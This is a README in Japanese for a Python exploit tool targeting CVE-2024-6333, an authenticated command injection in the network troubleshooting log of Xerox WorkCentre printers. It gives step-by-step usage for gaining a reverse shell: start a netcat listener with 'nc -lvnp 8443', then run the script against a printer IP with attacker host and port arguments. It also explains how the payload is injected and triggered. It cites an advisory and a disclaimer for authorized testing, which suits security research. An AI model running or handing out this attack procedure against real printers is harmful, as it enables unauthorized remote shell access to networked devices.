CVE-2024-6333 - Xerox 認証済みリモートコード実行

Xerox WorkCentre プリンターの Network Troubleshooting Log 機能における認証済みリモートコード実行の脆弱性。

説明

Network Troubleshooting Log 機能 (/properties/security/network_troubleshooting_log.php) は、宛先サーバーパラメータ (security.nwtroubleshoot.destination.server) をサニタイズしないため、認証済み管理者が任意の OS コマンドを注入できます。ネットワークログキャプチャが開始されると、注入されたペイロードがシェルコマンドとして実行され、リモートコード実行に至ります。

影響を受ける製品

• XEROX WorkCentre 6655 (ファームウェア 073.110.019.14200 でテスト済み)
• その他多数の Xerox プリンターモデル (勧告を参照)

参考情報

• https://sec-consult.com/vulnerability-lab/advisory/authenticated-remote-code-execution-in-multiple-xerox-printers/
• https://nvd.nist.gov/vuln/detail/CVE-2024-6333

要件

• Python 3
• 対象プリンターの有効な管理者認証情報
• 対象へのネットワークアクセス

インストール

pip install -r requirements.txt

使用方法

お使いのマシンでリスナーを起動します:

nc -lvnp 8443

エクスプロイトを実行します:

python3 CVE-2024-6333.py --target https://<PRINTER_IP> --lhost <YOUR_IP> --lport 8443

引数

動作の仕組み

1. 提供された認証情報を使用してプリンターの Web インターフェースに認証します
2. 既存のネットワークトラブルシューティングログセッションを停止します
3. 宛先サーバーフィールドにリバースシェルペイロードを注入します
4. ネットワークログキャプチャをトリガーし、ペイロードを実行します
5. 30 秒待機してから、クリーンアップ/停止コマンドを送信します

免責事項

このツールは、許可されたセキュリティテストおよび教育目的のみに提供されます。コンピューターシステムへの不正アクセスは違法です。